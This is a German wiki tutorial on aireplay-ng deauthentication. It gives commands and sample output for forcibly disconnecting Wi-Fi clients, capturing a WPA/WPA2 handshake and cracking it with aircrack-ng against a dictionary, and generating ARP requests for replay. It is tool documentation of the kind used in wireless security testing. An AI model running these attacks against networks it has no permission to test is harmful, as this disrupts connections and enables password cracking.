Deauthentication
Aus Wardriving-Forum.de Enzyklopädie
Inhaltsverzeichnis |
[Bearbeiten] Deauthentication
[Bearbeiten] Beschreibung
Dieser Angriff sendet Pakete aus, die einen oder mehrere Clients von einem spezifischen Accesspoint trennen. Dies macht man aus mehreren Gründen:
* Auslesen einer versteckten ESSID, die nicht über einen Broadcast-Request ausgesendet
wird (auch bekannt als "hidden ESSID") * Aufnehmen eines WPA/WPA2-Verbindungsvorgangs (4-Way-Handshake) für einen späteren Angriff * Generieren von ARP-Requests (Windows-Clients leeren manchmal ihren ARP-Cache
wenn sie disconnected werden)
Natürlich ist dieser Angriff absolut nutzlos wenn keine Clients verbunden sind oder keine Fakeauth besteht.
[Bearbeiten] Anwendung
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
Wobei:
* -0 für Deauthentication steht * 1 die Anzahl der Deauth-Vorgänge ist (man kann auch mehrere senden); 0 bedeutet ein dauerhaftes senden * -a 00:14:6C:7E:40:80 ist die BSSID des Accesspoints * -c 00:0F:B5:34:30:30 ist die MAC Adresse des zu trennenden Clients; wenn diese
ausgelassen wird werden alle Clients getrennt *ath0 ist der Name des Interfaces
[Bearbeiten] Anwendungsvorschläge
[Bearbeiten] Typischer Deauthvorgang
Zunächst suchst du dir einen Client der mit dem Netz verbunden ist, dessen MAC-Adresse benötigst du um ihn vom Netz zu trennen:
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
Wobei:
* -0 bedeutet Deauth * 1 ist die Anzahl der zu sendenden Deauthvorgänge (mehrere möglich) * -a 00:14:6C:7E:40:80 ist die BSSID des Accesspoints * -c 00:0F:B5:34:30:30 ist die MAC-Adresse des Client *ath0 ist der Name des Interfaces
Ein beispielhafter Output wäre:
12:35:25 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9 12:35:25 Sending 64 directed DeAuth. STMAC: [00:0F:B5:AE:CE:9D] [ 61|63 ACKs]
Wobei:
*[61 ist die Anzahl der ACKs des Clients *|63] ist die Anzahl der ACKs des Access Points
[Bearbeiten] Aufzeichnen eines WPA/WPA2 Handshake
airmon-ng start ath0 airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w out ath0 (auf einer anderen Konsole) aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0 (ein paar Sekunden warten) aircrack-ng -w /path/to/dictionary out.cap
Anwendung:
airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w out ath0
*-c 6 stellt den Kanal ein (unbedingt notwendig, da sonst der Handshake nicht komplett aufgezeichnet werden kann) *--bssid 00:14:6C:7E:40:80 schrämkt die Aufzeichnung der Pakete ein *-w Ort in dem die Aufzeichnung gespeichert werden soll *ath0 ist der Name der Karte
Anwendung:
aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0
*-0 für Deauthentication steht *5 Anzahl der zu sendenen Pakete *-a 00:14:6C:7E:40:80 ist die Mac Adresse des Acess-Points *-c 00:0F:B5:AB:CB:9D ist die Mac Adresse des Client der deauthenticated werden soll *ath0 ist der Name der Karte
So sollte die Ausgabe von "aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0" aussehen.
12:55:56 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D] 12:55:56 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D] 12:55:57 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D] 12:55:58 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D] 12:55:58 Sending DeAuth to station -- STMAC: [00:0F:B5:AB:CB:9D]
[Bearbeiten] Erstellung eines ARP Requests bei einem Prism2 Chipsatz
airmon-ng start wlan0 airodump-ng -c 6 -w out --bssid 00:13:10:30:24:9C wlan0 (au einer anderen Konsole) aireplay-ng -0 10 -a 00:13:10:30:24:9C wlan0 aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B wlan0
Nachdem die 10 Deauth-Pakete (Modus -0) gesendet wurden, fangen wir an auf ARP-Requests zu lauschen (Modus -3). Die -h Option ist zwingend notwendig und muss die MAC-Adresse des verbundenen Clients sein.
Wenn es sich bei ihrem Treiber um [[1]] handelt, sollten sie das airmon-ng Skript nutzen, da sonst die Karte nicht richtig für die Packet Injection eingerichtet wird.
[Bearbeiten] Anwendungsratschläge
Es ist normalerweise effektiver die Station zu orten und mit dem -c Parameter zu Benennen.
Die Deauthentication Pakete werden direkt von dir zu den Clients gesendet. Also musst du physikalisch nahe genug an den Clients sein, um sie zu erreichen.
[Bearbeiten] Problemlösungen
[Bearbeiten] Warum funktioniert Deauthentication nicht?
Es gibt verschiedene Gründe und einige könnten dich betreffen:
- Du bist physikalisch zu weit von den Clients enfernt. Du brauchst genug Übertragungsrate für die Pakete, damit sie den Client erreichen und von ihm "gehört" werden. Wenn du ein komplettes Paket empfangen hast sollte jedes Paket dass du zum Client geschickt hast in einem "ack" Paket zurück kommen, das bedeutet der Client hat das Paket gehört. Wenn dort kein "ack" ist, dann hat er das Paket möglicherweise nicht enfangen.
- WLAN-Karten arbeiten in besonderen modes wie b, g, n und so weiter. Wenn sich Deine Karte in einem anderen Mode als die des Clients befindet, ist die Wahrscheinlichkeit groß dass der Client nicht korrekt enfangen kann. Siehe obere Gründe, um sicher zu gehen, dass der Client das Paket empfangen hat.
- einige Clients ignorieren "Broadcast Deauthentication". Wenn dies der Fall ist, wirst du eine Deauthentication adressiert an den Client schicken müssen.
- Clients werden sich vielleicht zu schnell wiederverbinden, sodass zu nicht siehst dass sie disconnected waren. Wenn du ein komplettes Paket empfangen hast, ist es möglich in die "Reassociation Packets" zu schauen um sicher zu gehen, dass die Deauthentication funkioniert hat.
